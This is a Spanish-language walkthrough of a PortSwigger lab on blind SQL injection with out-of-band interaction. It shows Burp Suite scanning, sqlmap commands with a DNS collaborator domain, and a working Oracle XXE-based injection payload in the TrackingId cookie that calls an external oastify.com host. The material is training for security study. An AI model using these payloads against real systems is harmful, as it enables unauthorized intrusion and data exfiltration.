Blind SQL injection with out-of-band interaction
Laboratorio de Portswigger sobre SQLI
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una Blind SQL Injection, la aplicación utiliza una cookie de seguimiento para análisis y realiza una consulta SQL que incluye el valor de la cookie enviada. La consulta SQL se ejecuta de forma asíncrona y no afecta la respuesta de la aplicación. Sin embargo, puedes desencadenar interacciones out-of-band con un dominio externo. Para resolver el laboratorio, hay que explotar la vulnerabilidad de inyección SQL para provocar una consulta DNS a Burp Collaborator
Guía de SQLI
Antes de completar este laboratorio es recomendable leerse esta guía de SQLI https://justice-reaper.github.io/posts/SQLI-Guide/
Resolución
Al acceder a la web nos sale esto
Hay algunas Out-of-Band SQL Injections que no pueden ser detectadas o explotadas por sqlmap. En estas situaciones podemos realizar un escaneo completo con Burpsuite para detectarlas, para ello, debemos capturar la petición y pulsar click derecho > Scan
Posteriormente se nos abrirá esta ventana, en la cual debemos de seleccionar la opción Crawl and audit
Posteriormente deberemos seleccionar la configuración del escaneo. Recomendaría usar Deep, ya que, es el más completo. Una vez seleccionadas estas opciones pulsamos sobre Scan
Si nos dirigimos a Dashboard veremos que nos detecta la inyección SQL
Otra opción más específica es escanear los insertion points. Para ello, enviamos la petición al Intruder y seleccionamos los insertion points a analizar
Posteriormente pulsamos click derecho > Scan defined insertion points > Open scan launcher, seleccionamos Audit selected items y pulsamos sobre Scan
Si nos dirigimos a Dashboard veremos que también nos detecta la inyección SQL
También es posible detectar las Out-of-Band SQL Injections mediante sqlmap. Para ello, necesitamos instalar la extensión de Burpsuite llamada SQLMAP DNS Collaborator
Una vez instalada nos dirigimos a Extensions > Installed y pulsamos sobre el nombre de la extensión. Vemos que en la primera línea nos muestra un servidor --dns-domain=gm6n1v54k2yapzbqc1di32ti59bzzo.oastify.com, este es el que debemos usar al ejecutar sqlmap
Cada vez que queramos un nuevo servidor debemos pulsar sobre el cuadro de texto de la extensión para desactivarla y luego pulsar nuevamente para cargarla
Ejecutamos sqlmap con sudo
1
# sudo sqlmap -u https://0a8000ee030f0a7b80b708ab00fe001a.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --dbs --cookie="TrackingId=ltMxaizgXCdtiCXN*; session=ekfByIBkIPxRiuEoPiRItaXMNC3HwXSB" --dns-domain=gm6n1v54k2yapzbqc1di32ti59bzzo.oastify.com --dbms oracle
Si encuentra algo, se mostrará en el apartado de Show in UI
Como alternativa, podemos usar sqlmapsh https://github.com/unlock-security/sqlmapsh.git. Se usaría de la misma forma que sqlmap, pero no es necesario proporcionar el parámetro --dns-domain, ya que lo hace internamente
1
# sudo sqlmapsh -u https://0a8000ee030f0a7b80b708ab00fe001a.web-security-academy.net --risk=3 --level=5 --random-agent --dbs --batch --cookie="TrackingId=ltMxaizgXCdtiCXN*; session=ekfByIBkIPxRiuEoPiRItaXMNC3HwXSB"
Este laboratorio no se puede resolver usando sqlmap o sqlmapsh. La única forma que hay de identificar la inyección SQL es manualmente o mediante el escáner de Burpsuite. Si capturamos la petición a la web con Burpsuite vemos un campo llamado TrackingId, probando los payload de https://portswigger.net/web-security/sql-injection/cheat-sheet. En este caso vamos a usar este payload
1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual)-- -
Antes de enviar la petición debemos hacer click en Collaborator > Copy to clipboard. Sustituimos el campo BURP-COLLABORATOR-SUBDOMAIN por el subdominio copiado
1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ek2f0ugba257uzxtntvmsb5twk2bq2er.oastify.com/"> %remote;]>'),'/l') FROM dual)-- - ; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS
Una vez hecho esto debemos urlencodear el payload y enviar la petición
1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//ek2f0ugba257uzxtntvmsb5twk2bq2er.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual)--+-+; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS
Si nos dirigimos a la parte de Collaborator y pulsamos en Poll now nos llegarán las peticiones a nuestro servidor















